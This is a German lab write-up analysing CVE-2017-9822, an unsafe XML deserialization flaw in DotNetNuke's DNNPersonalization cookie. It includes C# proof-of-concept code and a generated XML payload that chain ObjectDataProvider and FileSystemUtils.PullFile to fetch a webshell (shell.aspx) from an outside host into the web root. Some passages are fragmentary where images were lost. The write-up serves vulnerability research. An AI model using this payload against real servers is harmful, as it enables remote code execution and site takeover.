
Detaillierte Analyse und Proof-of-Concept-Exploit für CVE-2017-9822, eine XXE/unsichere Deserialisierungsschwachstelle in DotNetNuke CMS, die zu Remote-Code-Ausführung durch Cookie-Manipulation führt.
DotNetNuke (oft abgekürzt als DNN) ist ein CMS (Content-Management-System) und Web-Anwendungs-Framework auf Basis der ASP.NET-Technologie von Microsoft.
Hier verwende ich Windows 10 zum Einrichten und Debuggen des Programms. Die Version, die ich installiert habe, ist 9.1.0. Eine Anleitung zur Installation findet ihr hier. Das Ergebnis nach erfolgreicher Installation sieht so aus:


DNNPersonalization.
.dll oder .exe für .NET. Die Installation ist hier möglich. Wir müssen zwei Versionen herunterladen, um das Debuggen durchzuführen.
DotNetNuke.dll mit der 32-Bit-Version und wählen Sie Edit Assembly Attributes (C#).
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

Speichern Sie anschließend.
Attach to Process.
w3wp.exe.
Der Grund für die Wahl von w3wp.exe ist:
w3wp.exe = IIS Worker Process.w3wp.exe (oder verwendet einen vorhandenen) zur Verarbeitung der Anfrage (Ausführung von ASP.NET-Code, Verarbeitung von Modulen, Middleware, Datenbankverbindungen usw.).w3wp.exe-Prozesse haben (Webgarten, Recycling).Als nächstes wählen Sie Debug -> Window -> Modules.

Nach Abschluss werden die Module angezeigt. Klicken Sie mit der rechten Maustaste auf ein beliebiges Modul und wählen Sie Open All Modules.

Schließlich werden alle Assemblys im Zusammenhang mit DNN angezeigt.

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int).
Diese Funktion dient zum Laden von Personalisierungsdaten (Profil) des Benutzers im DNN-Portal.
DNNPersonalization laden.Hier sollten wir uns auf DNNPersonalization konzentrieren.
Wenn userId ungültig ist (anonymer Benutzer).
Prüfen, ob in der Anfrage ein Cookie DNNPersonalization vorhanden ist.
Wenn vorhanden → XML-Wert aus diesem Cookie holen.
Wir senden eine 404-Anfrage an die Website und verwenden ein beliebiges DNNPersonalization-Cookie. Mit dnSpy setzen wir einen Breakpoint bei DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) und debuggen.


PortalSettings.
Bemerkenswert ist, dass hier eine if-Bedingung verwendet wird, um zu prüfen, ob die aktuelle Anfrage bereits IsAuthenticated ist.
Bei der von uns gesendeten 404-Anfrage ist sie unauthenticated.
Fahren wir im Call Stack fort und konzentrieren uns auf Handle404OrException.

context.User der aktuellen Anfrage null ist. Wenn ja, wird context.User auf den aktuellen Thread-Benutzer gesetzt.

In Handle404OrException sehen wir, dass die Variable IsAuthenticated jetzt true ist und der Benutzer der des IIS-Servers ist, sodass die Anfrage als authentifizierter Benutzer ausgeführt wird.
Der Grund für das Problem liegt in diesem Codeabschnitt:
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
context.User noch nicht gesetzt ist → wird Thread.CurrentPrincipal (die aktuelle Identität des Threads) zugewiesen.=> Wenn wir beliebige Inhalte in das Cookie mit der Variable DNNPersonalization übergeben, wird dies wie ein normaler Benutzer behandelt.
Immer noch in DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int).
Wir sehen, dass die Variable text den Wert aus dem Cookie erhält und dann als Eingabe für Globals.DeserializeHashTableXml() verwendet wird.

Globals.DeserializeHashTableXml().
Die Funktion DeserializeHashTableXml hat die Aufgabe:
Source) entgegen.Hashtable-Objekt umzuwandeln.XmlUtils.DeSerializeHashtable mit dem Parameter "profile" auf, um das XML-Root-Element festzulegen.Gehen Sie in XmlUtils.DeSerializeHashtable und sehen Sie, wie es verarbeitet wird.

Die Funktion DeSerializeHashtable nimmt den XML-String entgegen und wandelt ihn in ein Hashtable um. Für jeden <item>-Knoten wird:
key als Schlüssel verwendet.type ermittelt und Type.GetType(type) aufgerufen, um den Datentyp zu bestimmen.XmlSerializer.Deserialize verwendet, um den XML-Inhalt in ein tatsächliches Objekt zu deserialisieren.Hashtable hinzugefügt.👉 Problem: Da type und der XML-Inhalt vollständig vom Benutzer kontrolliert werden (aus dem Cookie DNNPersonalization).
Aufbauend auf XmlUtils#DeSerializeHashtable als Fehlerstelle erstellen wir ein ähnliches Programm zur Serialisierung und Deserialisierung von Objekten:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// create xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// create child node item with attribute type containing object type name
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj into xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// add xml serialized object to item node and add item node to root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml-Datei sieht dann so aus:<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

Deserialize aufgerufen wird.FileSystemUtils PullFile method.
Erklärung:
PullFile(string URL, string FilePath) — statische Methode in FileSystemUtils, die den Inhalt von einer URL in den FilePath auf dem System herunterlädt.WebClient.DownloadFile(URL, FilePath) verwendet — das Herunterladen und Schreiben einer Datei.catch wird der Fehler nur geloggt und eine Meldung zurückgegeben; es wird nicht weitergeworfen.Aber das Problem ist:
XmlSerializer kann keine Klassenmethoden serialisieren, sondern nur öffentliche Felder und Eigenschaften. Die öffentlichen Felder und Eigenschaften der Klasse FileSystemUtils haben keine, die die Methode PullFile aufrufen könnten.
Kommen wir zur ObjectDataProvider-Klasse.
ObjectDataProvider ist eine Klasse in WPF (Namespace System.Windows.Data, Modul PresentationFramework.dll).
Kann Methoden zur Laufzeit aufrufen — nicht nur Daten enthalten, sondern kann Aktionen ausführen (Nebenwirkungen), indem es eine beliebige Methode auf dem umschlossenen Objekt aufruft.
Ermöglicht die Übergabe von Parametern — ein Angreifer kann die Parameter steuern, die an die Methode übergeben werden (z. B. URL und Dateipfad für eine PullFile-Methode).
ObjectDataProvider führt selbst keinen Code wie ein Interpreter aus — aber es ermöglicht das Aufrufen jeder öffentlichen Methode auf dem umschlossenen Objekt. Wenn es also eine öffentliche Methode mit gefährlichen Nebenwirkungen gibt (z. B. Datei herunterladen, Prozess ausführen, Datei schreiben), kann eine Kette erstellt werden.

Hier wird Refresh() von DataSourceProvider aufgerufen.

Es geht weiter zu BeginQuery(). Beachten Sie, dass ObjectDataProvider von DataSourceProvider erbt, und wechseln wir zu BeginQuery() von ObjectDataProvider.

Weiter mit QueryWorker.

Es wird InvokeMethodOnInstance aufrufen.

InvokeMethodOnInstance ist die Methode, die tatsächlich ausführt (invoke) — sie verwendet Reflection, um die angegebene Methode (MethodName) auf dem Objekt aufzurufen, das ObjectDataProvider "umschließt" (oder auf dem Typ, falls statisch), wobei die Liste der MethodParameters übergeben wird, und gibt das Ergebnis der Methode zurück.
Mit der IDE JetBrains Rider ein Skript schreiben. Es muss auf die Module DotNetNuke.dll und PresentationFramework.dll verwiesen werden.

Wir haben folgenden ausführbaren Payload:
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (wenn Sie die DLL hinzugefügt haben)
using System.Data.Services.Internal; // ExpandedWrapper (falls vorhanden)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// create xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// create child node item with attribute type containing object type name
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj into xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// add xml serialized object to item node and add item node to root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
Wir erhalten die folgende XML-Datei:
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Payload einfügen:



Jetzt ausnutzen:

Alternativ können wir das Tool ysoserial.NET verwenden, um den Payload zu generieren:


Darüber hinaus können wir auch die Datei-Lese-Funktion von WriteFile der Klasse FileSystemUtils ausnutzen:

